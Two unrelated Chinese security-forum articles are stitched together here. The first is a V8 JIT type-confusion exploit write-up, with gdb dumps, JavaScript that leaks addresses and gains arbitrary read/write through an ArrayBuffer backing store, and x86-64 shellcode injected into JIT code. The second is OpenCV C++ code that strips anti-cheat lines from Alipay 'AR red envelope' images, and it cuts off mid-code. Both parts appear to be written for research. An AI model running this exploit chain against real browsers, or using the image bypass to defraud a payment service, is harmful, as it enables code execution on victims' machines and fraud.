--- Raw source --- () {
n.xyz = 0x826852f4;
parseInt('AAAAAAAA');
}
--- Optimized code --- optimization_id = 1
source_position = 50
kind = OPTIMIZED_FUNCTION
name = Check
stack_slots = 5
compiler = crankshaft
Instructions (size = 186)
0x35680eb86c80 0 55 push rbp
0x35680eb86c81 1 4889e5 REX.W movq rbp,rsp
0x35680eb86c84 4 56 push rsi
0x35680eb86c85 5 57 push rdi
0x35680eb86c86 6 4883ec08 REX.W subq rsp,0x8
0x35680eb86c8a 10 488b45f8 REX.W movq rax,[rbp-0x8]
0x35680eb86c8e 14 488945e8 REX.W movq [rbp-0x18],rax
0x35680eb86c92 18 488bf0 REX.W movq rsi,rax
0x35680eb86c95 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x35680eb86c9c 28 7305 jnc 35 (0x35680eb86ca3)
0x35680eb86c9e 30 e83dbcf5ff call StackCheck (0x35680eae28e0) ;; code: BUILTIN
0x35680eb86ca3 35 48b8c1bd62be00370000 REX.W movq rax,0x3700be62bdc1 ;; object: 0x3700be62bdc1 PropertyCell for 0x18b675545e1 <a Set with map 0xae15ff0c391>
...
gdb-peda$ job $rax
0x288d1c42b999: [PropertyCell]
- value: 0x28212078a219 <a Set with map 0x1fdb7e106509>
- details: (data, dictionary_index: 138, attrs: [WE_])
- cell_type: ConstantType (StableMap)
...
0x35680eb86cad 45 488b400f REX.W movq rax,[rax+0xf] //取出JSSet n
...
gdb-peda$ job $rax
0x28212078a219: [JSSet]
- map = 0x1fdb7e106509 [FastProperties]
- prototype = 0x288d1c415e49
- elements = 0x2089c5182241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS] - table = 0x28212078a239 <FixedArray[13]>
- properties = {
}
...
0x35680eb86cb1 49 49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000
0x35680eb86cbb 59 c4c1f96ec2 vmovq xmm0,r10
...
0x41e04d0a5e800000 --d2ull-> 0x00000000826852f4
...
0x35680eb86cc0 64 488b4007 REX.W movq rax,[rax+0x7] // 取n的自定义属性数组
...
0x0000393bb3086cc4 in ?? ()
gdb-peda$ job $rax
0x2089c5182241: [FixedArray]
- length: 0
gdb-peda$ x/20gx 0x28212078a219-1
0x28212078a218: 0x00001fdb7e106509 0x00002089c5182241
0x28212078a228: 0x00002089c5182241
...
0x35680eb86cc4 68 488b400f REX.W movq rax,[rax+0xf] // 取n的xyz域
// 因为当JSSet对象n进行初始化时，由于尚没有其他的自定义属性存在，因此该位置将使用内置对象empty_fixed_array进行初始化。
// 让我们看一下empty_fixed_array
0x2089c5182240: 0x000007f3e4882309->FIXED_ARRAY_TYPE Map 0x0000000000000000
0x2089c5182250: 0x000007f3e4882361->initial_string map 0x00000000803b1506
0x2089c5182260: 0x0000000400000000 0xdeadbeed6c6c756e
...
gdb-peda$ job $rax
0x7f3e4882361: [Map]
- type: ONE_BYTE_INTERNALIZED_STRING_TYPE
- instance size: 0
- elements kind: FAST_HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x2089c5182311 <undefined>
- instance descriptors (own) #0: 0x2089c5182231 <FixedArray[0]>
- layout descriptor: 0
- prototype: 0x2089c5182201 <null>
- constructor: 0x2089c5182201 <null>
- code cache: 0x2089c5182241 <FixedArray[0]>
- dependent code: 0x2089c5182241 <FixedArray[0]>
- construction counter: 0
...
0x35680eb86cc8 72 c5fb114007 vmovsd [rax+0x7],xmm0 //重新赋值，破坏了initial_string map的结构，于是在后面ParseInt字符串的时候会crash
...
对比一下赋值前后
前:
gdb-peda$ x/20gx 0x7f3e4882361-1
0x7f3e4882360: 0x000007f3e4882259 0x0019000400007300
0x7f3e4882370: 0x00000000082003ff 0x00002089c5182201
后:
gdb-peda$ x/20gx 0x7f3e4882361-1
0x7f3e4882360: 0x000007f3e4882259 0x41e04d0a5e800000-->破坏了map结构
0x7f3e4882370: 0x00000000082003ff 0x00002089c5182201
...
0x35680eb86ccd 77 49ba112330abf6000000 REX.W movq r10,0xf6ab302311 ;; object: 0xf6ab302311 <undefined>
0x35680eb86cd7 87 4152 push r10
0x35680eb86cd9 89 49ba39b062be00370000 REX.W movq r10,0x3700be62b039 ;; object: 0x3700be62b039 <String[8]: AAAAAAAA>
0x35680eb86ce3 99 4152 push r10
0x35680eb86ce5 101 48bf51d860be00370000 REX.W movq rdi,0x3700be60d851 ;; object: 0x3700be60d851 <JS Function parseInt (SharedFunctionInfo 0xf6ab33ce11)>
0x35680eb86cef 111 488b75e8 REX.W movq rsi,[rbp-0x18]
0x35680eb86cf3 115 488b7727 REX.W movq rsi,[rdi+0x27]
0x35680eb86cf7 119 498b55a0 REX.W movq rdx,[r13-0x60]
0x35680eb86cfb 123 b801000000 movl rax,0x1
0x35680eb86d00 128 bb02000000 movl rbx,0x2
0x35680eb86d05 133 e8f6eeefff call ArgumentsAdaptorTrampoline (0x35680ea85c00) ;; code: BUILTIN
0x35680eb86d0a 138 48b8112330abf6000000 REX.W movq rax,0xf6ab302311 ;; object: 0xf6ab302311 <undefined>
0x35680eb86d14 148 488be5 REX.W movq rsp,rbp
0x35680eb86d17 151 5d pop rbp
0x35680eb86d18 152 c20800 ret 0x8
0x35680eb86d1b 155 90 nop
### 结论
据此，我们可以得出结论，在JIT优化之后，会直接从n中取出直接取出自定义属性数组中，对应于某属性偏移的字段，而不做任何合法性校验。
## exploit
### test
function Check() {
n.xyz = 3.4766863919133141e-308; // do not modify string map
n.xyz1 = 0x1821923f // do not modify hash value
n.xyz2 = 0x7000 // enlarge length of builtIn string 'null'
}
0x1c4269306d80 0 55 push rbp
0x1c4269306d81 1 4889e5 REX.W movq rbp,rsp
0x1c4269306d84 4 56 push rsi
0x1c4269306d85 5 57 push rdi
0x1c4269306d86 6 4883ec08 REX.W subq rsp,0x8
0x1c4269306d8a 10 488b45f8 REX.W movq rax,[rbp-0x8]
0x1c4269306d8e 14 488945e8 REX.W movq [rbp-0x18],rax
0x1c4269306d92 18 488bf0 REX.W movq rsi,rax
0x1c4269306d95 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x1c4269306d9c 28 7305 jnc 35 (0x1c4269306da3)
0x1c4269306d9e 30 e83dbbf5ff call StackCheck (0x1c42692628e0) ;; code: BUILTIN
0x1c4269306da3 35 48b8d9b9fadec60a0000 REX.W movq rax,0xac6defab9d9 ;; object: 0xac6defab9d9 PropertyCell for 0x3b0974d0a4b9 <a Set with map 0x30613ee86509>
0x1c4269306dad 45 488b400f REX.W movq rax,[rax+0xf] //取出JSSet n
0x1c4269306db1 49 49ba0064000004001900 REX.W movq r10,0x19000400006400
0x1c4269306dbb 59 c4c1f96ec2 vmovq xmm0,r10
0x1c4269306dc0 64 488b5807 REX.W movq rbx,[rax+0x7] // 取n的自定义属性数组
0x1c4269306dc4 68 488b5b0f REX.W movq rbx,[rbx+0xf] // 取n的xyz域，注意取域的时候，如果这个域代表的意义是一个整数值，就直接写入，如果代表的是一个指针，就要从指针再寻址写入。
0x1c4269306dc8 72 c5fb114307 vmovsd [rbx+0x7],xmm0
0x1c4269306dcd 77 488b5807 REX.W movq rbx,[rax+0x7] // 取n的自定义属性数组
0x1c4269306dd1 81 c7431b3f922118 movl [rbx+0x1b],0x1821923f // 取n的xyz1域，注意这里要用一个整形数去完整替换，不然会变成一个HeapNum指针，而这个指针是可能访问到不能访问的内存，从而crash
0x1c4269306dd8 88 488b4007 REX.W movq rax,[rax+0x7] // 取n的自定义属性数组
0x1c4269306ddc 92 c7402300700000 movl [rax+0x23],0x7000 // 取n的xyz1域
...
最终
gdb-peda$ x/20gx $rax-1
0x3067ec802240: 0x000025b0e3582309 0x0000000000000000
0x3067ec802250: 0x000025b0e3582361->xyz 0x1821923f->xyz1 803b1506
0x3067ec802260: 0x00007000->xyz2 00000000 0xdeadbeed6c6c756e
...
0x1c4269306de3 99 48b8112380ec67300000 REX.W movq rax,0x3067ec802311 ;; object: 0x3067ec802311 <undefined>
0x1c4269306ded 109 488be5 REX.W movq rsp,rbp
0x1c4269306df0 112 5d pop rbp
0x1c4269306df1 113 c20800 ret 0x8
### 字符串类型
0x2b753502250: 0x00003182a4182361->null 0x00000000803b1506
0x2b753502260: 0x00000004->length 00000000 0xdeadbeed 6c6c756e->"null"
0x2b753502270: 0x00003182a4182361->object 0x00000000c5f6c42a
0x2b753502280: 0x0000000600000000->length 0xdead 7463656a626f->"object"
...
gdb-peda$ job 0x2b753502251
#null
gdb-peda$ job 0x2b753502271
#object
### JSFunction
* 表示JavaScript function的对象
* 继承Object, HeapObject, JSReceiver, JSObject
* 内存结构如下（在64位环境的情况下）
* 实际演示
* 存放function f()在数组中
* 用0xdeadbee查找这个数组的内存位置
* kCodeEntryOffset is a pointer to the JIT code (RWX area), many strategies to realize arbitrary code execution by writing shellcode before this
### JSArrayBuffer
#### ArrayBuffer and TypedArray
* Originally ArrayBuffer
* 一个可以直接从JavaScript访问内存的特殊数组
* 但是，ArrayBuffer仅准备一个内存缓冲区
* BackingStore——可以使用TypedArray指定的类型读取和写入该区域，例如作为原始数据数组访问的8位或32位内存
* 为了实际访问，有必要一起使用TypedArray或DataView
* 使用例子 (TypedArray版本)
* 创建方法1，仅指定长度，初始化为零
t_arr = new Uint8Array(128) //ArrayBuffer被创建在内部
* 创建方法2，使用特定值初始化
t_arr = new Uint8Array([4,3,2,1,0]) //ArrayBuffer被创建在内部
* 创建方法3，事先构建缓冲区并使用它
arr_buf = new ArrayBuffer(8);
t_arr1 = new Uint16Array(arr_buf); //创建一个Uint16数组
t_arr2 = new Uint16Array(arr_buf, 0, 4); //或者，您也可以指定数组的开始和结束位置
* ArrayBuffer可以在不同的TypedArray之间共享
* 它也可以用于double和int的类型转换
* **类型转换的意义在于改变字节序列的解释，而不是转换**
* 就像C语言的Union
* BackingStore——可以使用TypedArray指定的类型读取和写入该区域，例如作为原始数据数组访问的8位或32位内存
* ①预先准备ArrayBuffer
var ab = new ArrayBuffer(0x100);
* ②向ArrayBuffer中写入一个Float64的值
var t64 = new Float64Array(ab);
t64[0] = 6.953328187651540e-310;//字节序列是0x00007fffdeadbeef
**\-- >当某些地址在V8上泄露时，通常在大多数情况下被迫将其解释为双精度值，为了正确计算偏移量等，需要将其转换为整数值。
对于完成该转换，ArrayBuffer是最佳的**
* ③从ArrayBuffer读取两个Uint32
var t32 = new Uint32Array(ab);
k = [t32[1],t32[0]]
**\-- >k是6.953328187651540e-310,将字节序列按照4个字节去分开，然后解释为Uint32,于是得到:**
**k=[0x00007fff，0xdeadbeef]**
#### JSArrayBuffer
* 持有ArrayBuffer的对象
* 继承Object，HeapObject，JSReceiver，JSObject
* 内存结构如下（在64位环境的情况下）
* 实际演示
* 存放TypedArray
* 使用长度0x13370搜索ArrayBuffer的内存位置
* 在V8中，对象通常被存放在由GC管理的mapped区域，然而BackingStore是一个不被GC管理的区域，并且被存放在heap中(在图中，可以看到malloc块有prev_size和size成员）
此外，由于它不是由GC管理的HeapObject，因此指向BackingStore的指针不是Tagged Value（末尾不能为1）
* 虽然在ArrayBuffer中描述了大小，但如果将此值重写为较大的值，则可以允许读取和写入的长度，超出BackingStore数组的范围。
* 同样，如果您可以重写BackingStore指针，则可以读取和写入任意内存地址，这些是在exploit中常用的方法。
### 工具类准备
主要是用于double和int值的转换
// int->double
// d2u(intaddr/0x100000000,intaddr&0xffffffff)
function d2u(num1,num2){
d = new Uint32Array(2);
d[0] = num2;
d[1] = num1;
f = new Float64Array(d.buffer);
return f[0];
}
// double->int
// u2d(floataddr)
function u2d(num){
f = new Float64Array(1);
f[0] = num;
d = new Uint32Array(f.buffer);
return d[1] * 0x100000000 + d[0];
}
### leak ArrayBuffer和Function
1. 触发漏洞，越界写null string的长度，写null string的value字段为obj
2. charCodeAt读出null string的value内容，从而leak出来
var ab = new ArrayBuffer(0x200);
var n;
...
function Ctor() {
n = new Set();
}
function Check(obj){
n.xyz = 3.4766863919152113e-308; // do not modify string map
n.xyz1 = 0x0; // do not modify the value
n.xyz2 = 0x7000; // enlarge length of builtIn string 'null'
n.xyz3 = obj; // leak the Object
}
...
Ctor(); // 初始化n
Check(ab); //写入ArrayBuffer到value字段
// gdb-peda$ x/10gx 0x28767ae02240
// 0x28767ae02240: 0x0000083475082309 0x0000000000000000
// 0x28767ae02250: 0x0000083475082361 0x00000000803b1506
// 0x28767ae02260: 0x0000700000000000 0x000004ea79906839->ArrayBuffer
// 0x28767ae02270: 0x0000083475082361 0x00000000c5f6c42a
// 0x28767ae02280: 0x0000000600000000 0xdead7463656a626f
// gdb-peda$ job 0x000004ea79906839
// 0x4ea79906839: [JSArrayBuffer]
// - map = 0x3bcf5fc82db1 [FastProperties]
// - prototype = 0xb3e9b805599
// - elements = 0x28767ae02241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS]
// - internal fields: 2
// - backing_store = 0x55ba589d0640
// - byte_length = 512
// - properties = {
// }
// - internal fields = {
// 0
// 0
// }
var str = new String(null);
var ab_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
print("0x"+ab_addr.toString(16));
同理，leak出function
### 写null string的地址到它自己的value，从而可以通过写value来再次修改null string
**这里为什么要这么做呢，原因其实在test里已经可以看到的，如果我们写一个smi到一个属性字段，当然可以直接写到该属性字段对应的偏移。**
也就是如图xyz1，我直接写入了一个0x1821923f的smi，注意smi最大是多少呢，在64位和32位有所不同。
在64位平台上V8对smi定义的范围是[-2³¹，2³¹-1]，即最大0x7fffffff，显然一个对象的地址会大于它，从而无法直接去写一个地址到该属性字段对应的偏移。
gdb-peda$ x/20gx $rax-1
0x3067ec802240: 0x000025b0e3582309 0x0000000000000000
0x3067ec802250: 0x000025b0e3582361->xyz 0x1821923f->xyz1 803b1506
0x3067ec802260: 0x00007000->xyz2 00000000 0xdeadbeed6c6c756e
**所以我们要写null string的地址到它自己的value，从而可以通过写value来再次修改null string。**
Check(String(null));
// gdb-peda$ x/20gx $rbx-1
// 0x3817fa502240: 0x00003bd6a4382309 0x0000000000000000
// 0x3817fa502250: 0x00003bd6a4382361 0x00000000803b1506
// 0x3817fa502260: 0x0000700000000000 0x00003817fa502251->null string
// gdb-peda$ job 0x00003bd6a4382361
// 0x3bd6a4382361: [Map]
// - type: ONE_BYTE_INTERNALIZED_STRING_TYPE
// - instance size: 0
// - elements kind: FAST_HOLEY_ELEMENTS
// - unused property fields: 0
// - enum length: invalid
// - stable_map
// - back pointer: 0x3817fa502311 <undefined>
// - instance descriptors (own) #0: 0x3817fa502231 <FixedArray[0]>
// - layout descriptor: 0
// - prototype: 0x3817fa502201 <null>
// - constructor: 0x3817fa502201 <null>
// - code cache: 0x3817fa502241 <FixedArray[0]>
// - dependent code: 0x3817fa502241 <FixedArray[0]>
// - construction counter: 0
### 修改null string的hash字段为ArrayBuffer的length地址
这里我再次提醒一下为什么要写入这个地址。
之前我们说了，如果写一个smi，可以直接写入，但是如果要写入的数值大于smi，会把该属性字段的值当成一个指针，然后将这个数值写入到那个内存里。
就比如，我向null string的map字段（对应于n.xyz)写一个非SMI进去.
double类型的3.4766863919152113e-308等于int类型的0x0019000400007300
function Check(obj){
// oob write empty_Fixed_Array, write object to null_str buffer
n.xyz = 3.4766863919152113e-308; // do not modify string map
n.xyz1 = 0x0; // do not modify the value
n.xyz2 = 0x7000; // enlarge length of builtIn string 'null'
n.xyz3 = obj; // leak the Object addr
}
...
...
gdb-peda$ x/20gx 0x33e606b02241-1
0x33e606b02240: 0x0000081f59a02309 0x0000000000000000
0x33e606b02250: 0x0000081f59a02361->n.xyz 0x00000000803b1506
0x33e606b02260: 0x0000700000000000 0x000017f1e8c36fe96f
gdb-peda$ x/20gx 0x0000081f59a02361-1
0x81f59a02360: 0x0000081f59a02259 0x0019000400007300->被写入的3.4766863919152113e-308即0x0019000400007300
0x81f59a02370: 0x00000000082003ff 0x000033e606b02201
var m;
...
function Ctor2() {
m = new Map();
}
function Check2(addr){
// Oob write empty_Fixed_Array, str buffer value will be treat as a number pointer
m.xyz = 3.4766863919152113e-308; // do not modify string map
m.xyz1 = 0x0 // do not modify the value
m.xyz2 = 0x7000 // enlarge length of builtIn string 'null'
m.xyz3 = addr
}
Check2(ab_len_ptr_float);
// 0x3817fa502250: 0x00003bd6a4382361 0x0000108ed87359d9->ArrayBuffer length的地址
// 0x3817fa502260: 0x0000700000000000 0x00003817fa502251->null string
// gdb-peda$ x/20gx 0x108ed87359c1-1
// 0x108ed87359c0: 0x00002d714c002db1 0x000037191c982241
// 0x108ed87359d0: 0x000037191c982241 0x0000020000000000->length
// 0x108ed87359e0: 0x000055ba589d0640->BackingStore
**所以说为了写入一个地址到ArrayBuffer的BackingStore，首先将BackingStore向前减去8个字节的地址即length地址写入到hash字段。**
### 向null string的hash字段写入任意值，得到任意地址读写的原语
类似于我们上面写map一样，将[length_addr+0x8]即backingstore给覆盖成我们想要写入的内容。
**在v8里，只要你能修改backingstore的值，就可以进行任意地址读写**
于是就有了一个任意地址读写的原语。
**于是我们先将func_addr写到backingstore，读到函数真正执行时候的code地址**
var l;
function Ctor3() {
l = new ArrayBuffer();
}
function Check3(addr){
// Oob write empty_Fixed_Array, str length will be treat as a number pointer
l.xyz = 3.4766863919152113e-308; // do not modify string map
l.xyz1 = addr
}
Ctor3();
Check3(func_addr_float);
f64 = new Float64Array(ab);
shellcode_addr_float = f64[7];
print("0x"+(u2d(shellcode_addr_float)).toString(16));
// gdb-peda$ job 0x108ed87359c1
// 0x108ed87359c1: [JSArrayBuffer]
// - map = 0x2d714c002db1 [FastProperties]
// - prototype = 0x108ed8705599
// - elements = 0x37191c982241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS]
// - internal fields: 2
// - backing_store = 0x108ed8735a00->已经被改成了Function的地址
// - byte_length = 512
// - properties = {
// }
// - internal fields = {
// 0
// 0
// }
// gdb-peda$ x/20gx 0x108ed87359c1-1
// 0x108ed87359c0: 0x00002d714c002db1 0x000037191c982241
// 0x108ed87359d0: 0x000037191c982241 0x0000020000000000
// 0x108ed87359e0: 0x0000108ed8735a00->已经被改成了Function的地址 0x0000000000000004
// 0x108ed87359f0: 0x0000000000000000 0x0000000000000000
// gdb-peda$ x/20gx 0x0000108ed8735a01-1
// 0x108ed8735a00: 0x00002d714c0040f1 0x000037191c982241
// 0x108ed8735a10: 0x000037191c982241 0x000037191c982351
// 0x108ed8735a20: 0x0000108ed872d849 0x0000108ed8703951
// 0x108ed8735a30: 0x000037191c984b21 0x000016396d105e00-->shellcode_addr_float[7]
...
// gdb-peda$ job 0x0000108ed8735a01
// 0x108ed8735a01: [Function]
// - map = 0x2d714c0040f1 [FastProperties]
// - prototype = 0x108ed87040b9
// - elements = 0x37191c982241 <FixedArray[0]> [FAST_HOLEY_ELEMENTS]
// - initial_map =
// - shared_info = 0x108ed872d849 <SharedFunctionInfo>
// - name = 0x37191c982471 <String[0]: >
// - formal_parameter_count = 0
// - context = 0x108ed8703951 <FixedArray[235]>
// - literals = 0x37191c984b21 <FixedArray[1]>
// - code = 0x16396d105da1 <Code: FUNCTION>
**再将取得的函数真正执行时候执行的函数地址，写入到backingstore，从而通过它进行任意地址写，写入我们的shellcode**
Check3(shellcode_addr_float);
// pop /usr/bin/xcalc
var shellcode = new Uint32Array(ab);
shellcode[0] = 0x90909090;
shellcode[1] = 0x90909090;
shellcode[2] = 0x782fb848;
shellcode[3] = 0x636c6163;
shellcode[4] = 0x48500000;
shellcode[5] = 0x73752fb8;
shellcode[6] = 0x69622f72;
shellcode[7] = 0x8948506e;
shellcode[8] = 0xc03148e7;
shellcode[9] = 0x89485750;
shellcode[10] = 0xd23148e6;
shellcode[11] = 0x3ac0c748;
shellcode[12] = 0x50000030;
shellcode[13] = 0x4944b848;
shellcode[14] = 0x414c5053;
shellcode[15] = 0x48503d59;
shellcode[16] = 0x3148e289;
shellcode[17] = 0x485250c0;
shellcode[18] = 0xc748e289;
shellcode[19] = 0x00003bc0;
shellcode[20] = 0x050f00;
然后再执行这个被我们改了内容的函数，就可以弹计算器了。
evil_f();
## 参考链接
<https://www.jianshu.com/p/0326d382f5f9>
<https://www.slideshare.net/CanSecWest/qidan-hegengming-liucansecwest2017> | 社区文章 |
# 【技术分享】绕过最新补丁，AR红包再遭技术流破解
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **ChildZed**
****](http://bobao.360.cn/member/contribute?uid=2606963099)
**预估稿费：400RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**传送门**
[**【技巧分享】技术流花式“破解”支付宝AR红包，更多技巧征集中**
****](http://bobao.360.cn/learning/detail/3336.html)
**
**
**（注：本文所提到的内容仅供技术研究，请勿用于非法用途）**
**
**
**前言**
最近圈里流行破解支付宝的“AR红包”，有使用PS进行图片恢复的也有使用PHP脚本进行恢复的。当然支付宝那边也没闲着，先是声称减小了PS恢复图片后识别成功的概率，然后又是限制每人每日开启红包的次数，实话讲这是好事，毕竟如果AR红包步入Pokemon
Go的后尘，那就失去了“寻宝”的乐趣。不过如果可以从技术上来解决问题，比如提高对于实景和伪装图片的判别能力，那必然是喜闻乐见的。
**基于OpenCV恢复图像破解“AR红包”**
前面提到PS恢复图片识别成功的概率降低了许多，想想主要原因还是PS恢复出来的图片太过粗糙，而且还留有一定的细线条，这样机器进行识别时可以通过这些特征去判别图片是否是PS的。本文介绍的方法是基于OpenCV对图像进行处理，这种方法能够尽可能地还原原图像而不会产生条纹，目前成功率还不错。
在介绍方法之前先分析一下加了黑线的图片，可以对单一的浅色背景进行拍摄作为AR红包的图片，这样就可以从图片中了解黑线的分布。当然如果整幅图都是一个颜色程序是不允许的，所以。。我放了个硬币作为物体。
通过抓包得到的图片是100*100像素的，而在AR红包刚面世时图片都是200*200像素的，后者图片较为清晰，容易通过PS恢复，而前者较为模糊，因此PS难以对其进行较好的恢复，这也可能是支付宝的一个防作弊手段吧，但说实话，治标不治本，而且存在一个比较大的问题。
由于测试图片背景单一，且大小只为100*100像素，因此我们可以用PS打开图片并放大看看线条到底如何分布。
上图取的是图片的一部分，图中每个小方格是一个像素点。可以看出，线条有一个像素点宽的，也有两个像素点宽的，而线条颜色有黑和灰两种。我们把
这种类型的称为黑1，把
这种类型的称为黑2，把
这种类型的称为杂色，根据对整幅图的观察，其黑色线条分布规律为“黑2黑1黑2黑1黑2杂色”，相邻两种线条的距离为两个像素点。这样就可以确定线条的分布。
确定了线条的分布之后，就得考虑怎么去掉这些横线。对于一张正常图片而言，相邻像素点的色差并不大，而加了横线之后横线附近的相邻像素点色差非常大，如果可以将黑线部分的颜色修改为相邻的未被处理的像素点的颜色，那就可以较好的恢复图片的原貌。OpenCV提供了这项功能，废话不多说，上代码。(由于时间问题我直接将黑线条的像素坐标逐一处理，并没有按照前面总结的规律进行处理)
#include "stdafx.h"
#include"cv.h"
#include"highgui.h"
#include "cvaux.h"
#include "cxcore.h"
#include "opencv2/opencv.hpp"
#include "opencv2/imgproc.hpp"
using namespace cv;
int _tmain(int argc, _TCHAR* argv[])
{
Mat src = imread("test.jpg");
imshow("Raw", src);
int i, j;
for (j = 0; j < src.cols; j++)
for (i = 0; i < src.rows; i++)
{
if (i == 3 || i == 6 || i == 10 || i == 14 || i == 17 || i == 21 || i == 24 || i == 28 || i == 31 || i == 35 || i == 39 || i == 42 || i == 46 || i == 49 || i == 53 || i == 56 || i == 60 || i == 63 || i == 67 || i == 71 || i == 74 || i == 78 || i == 81 || i == 85 || i == 89 || i == 92 || i == 96)
{
src.at<Vec3b>(i, j)[0] = src.at<Vec3b>(i - 1, j)[0];
src.at<Vec3b>(i, j)[1] = src.at<Vec3b>(i - 1, j)[1];
src.at<Vec3b>(i, j)[2] = src.at<Vec3b>(i - 1, j)[2];
}
if (i == 7 || i == 18 || i == 25 || i == 32 || i == 43 || i == 50 || i == 57 || i == 61 || i == 64 || i == 68 || i == 75 || i == 82 || i == 93)
{
src.at<Vec3b>(i, j)[0] = src.at<Vec3b>(i + 1, j)[0];
src.at<Vec3b>(i, j)[1] = src.at<Vec3b>(i + 1, j)[1];
src.at<Vec3b>(i, j)[2] = src.at<Vec3b>(i + 1, j)[2];
}
}
imwrite("New.jpg", src);
imshow("New.jpg", src);
return 0;
}
代码中src.at<Vec3b>(i, j)[0]，src.at<Vec3b>(i, j)[1]，src.at<Vec3b>(i,
j)[2]分别代表像素点的三个RGB通道。代码的含义就是将黑线的像素点的颜色根据情况修改为其上一坐标位置或者下一坐标位置的颜色。来看看效果如何。（左边是原图，右边是处理后的图，处理后的图上还有线的原因是代码中并没有对杂色类型线条中的灰色线条进行处理，只要处理一下线条就不存在了）。
不过这也有一些缺陷，比如斜线可能会还原成锯齿。对于支付宝的工作人员可以利用这个缺陷进行一下过滤。
前面说到的是100*100像素的图片，接下来讲讲AR红包刚推出时的200*200的图片。方法基本相同，也是通过使用相邻像素颜色修改黑线颜色来实现，不同的是黑线的宽度和黑线分布的方式，只需把上述代码的处理部分修改为如下所示即可处理。
if (i == 5 || i == 55 || i == 105 || i == 155)
{
src.at<Vec3b>(i, j)[0] = src.at<Vec3b>(i - 1, j)[0];
src.at<Vec3b>(i, j)[1] = src.at<Vec3b>(i - 1, j)[1];
src.at<Vec3b>(i, j)[2] = src.at<Vec3b>(i - 1, j)[2];
}
if (i == 48 || i == 97 || i == 148)
{
src.at<Vec3b>(i, j)[0] = src.at<Vec3b>(i - 1, j)[0];
src.at<Vec3b>(i, j)[1] = src.at<Vec3b>(i - 1, j)[1];
src.at<Vec3b>(i, j)[2] = src.at<Vec3b>(i - 1, j)[2];
src.at<Vec3b>(i + 1, j)[0] = src.at<Vec3b>(i - 1, j)[0];
src.at<Vec3b>(i + 1, j)[1] = src.at<Vec3b>(i - 1, j)[1];
src.at<Vec3b>(i + 1, j)[2] = src.at<Vec3b>(i - 1, j)[2];
src.at<Vec3b>(i + 2, j)[0] = src.at<Vec3b>(i + 4, j)[0];
src.at<Vec3b>(i + 2, j)[1] = src.at<Vec3b>(i + 4, j)[1];
src.at<Vec3b>(i + 2, j)[2] = src.at<Vec3b>(i + 4, j)[2];
src.at<Vec3b>(i + 3, j)[0] = src.at<Vec3b>(i + 4, j)[0];
src.at<Vec3b>(i + 3, j)[1] = src.at<Vec3b>(i + 4, j)[1];
src.at<Vec3b>(i + 3, j)[2] = src.at<Vec3b>(i + 4, j)[2];
}
if (i>5 && i<48 && ((i + 1) % 7 == 0))
{
src.at<Vec3b>(i, j)[0] = src.at<Vec3b>(i - 1, j)[0];
src.at<Vec3b>(i, j)[1] = src.at<Vec3b>(i - 1, j)[1];
src.at<Vec3b>(i, j)[2] = src.at<Vec3b>(i - 1, j)[2];
src.at<Vec3b>(i + 1, j)[0] = src.at<Vec3b>(i - 1, j)[0];
src.at<Vec3b>(i + 1, j)[1] = src.at<Vec3b>(i - 1, j)[1];
src.at<Vec3b>(i + 1, j)[2] = src.at<Vec3b>(i - 1, j)[2];
src.at<Vec3b>(i + 2, j)[0] = src.at<Vec3b>(i + 3, j)[0];
src.at<Vec3b>(i + 2, j)[1] = src.at<Vec3b>(i + 3, j)[1];
src.at<Vec3b>(i + 2, j)[2] = src.at<Vec3b>(i + 3, j)[2];
}
if (i > 48 && i < 97 && i % 7 == 0)
{
src.at<Vec3b>(i, j)[0] = src.at<Vec3b>(i - 1, j)[0];
src.at<Vec3b>(i, j)[1] = src.at<Vec3b>(i - 1, j)[1];
src.at<Vec3b>(i, j)[2] = src.at<Vec3b>(i - 1, j)[2];
src.at<Vec3b>(i + 1, j)[0] = src.at<Vec3b>(i - 1, j)[0];
src.at<Vec3b>(i + 1, j)[1] = src.at<Vec3b>(i - 1, j)[1];
src.at<Vec3b>(i + 1, j)[2] = src.at<Vec3b>(i - 1, j)[2];
src.at<Vec3b>(i + 2, j)[0] = src.at<Vec3b>(i + 3, j)[0];
src.at<Vec3b>(i + 2, j)[1] = src.at<Vec3b>(i + 3, j)[1];
src.at<Vec3b>(i + 2, j)[2] = src.at<Vec3b>(i + 3, j)[2];
}
if (i > 97 && i < 146 && ((i - 1) % 7 == 0))
{
src.at<Vec3b>(i, j)[0] = src.at<Vec3b>(i - 1, j)[0];
src.at<Vec3b>(i, j)[1] = src.at<Vec3b>(i - 1, j)[1];
src.at<Vec3b>(i, j)[2] = src.at<Vec3b>(i - 1, j)[2];
src.at<Vec3b>(i + 1, j)[0] = src.at<Vec3b>(i - 1, j)[0];
src.at<Vec3b>(i + 1, j)[1] = src.at<Vec3b>(i - 1, j)[1];
src.at<Vec3b>(i + 1, j)[2] = src.at<Vec3b>(i - 1, j)[2];
src.at<Vec3b>(i + 2, j)[0] = src.at<Vec3b>(i + 3, j)[0];
src.at<Vec3b>(i + 2, j)[1] = src.at<Vec3b>(i + 3, j)[1];
src.at<Vec3b>(i + 2, j)[2] = src.at<Vec3b>(i + 3, j)[2];
}
if (i > 147 && i<(src.rows - 2) && ((i - 2)) % 7 == 0)
{
src.at<Vec3b>(i, j)[0] = src.at<Vec3b>(i - 1, j)[0];
src.at<Vec3b>(i, j)[1] = src.at<Vec3b>(i - 1, j)[1];
src.at<Vec3b>(i, j)[2] = src.at<Vec3b>(i - 1, j)[2];
src.at<Vec3b>(i + 1, j)[0] = src.at<Vec3b>(i - 1, j)[0];
src.at<Vec3b>(i + 1, j)[1] = src.at<Vec3b>(i - 1, j)[1];
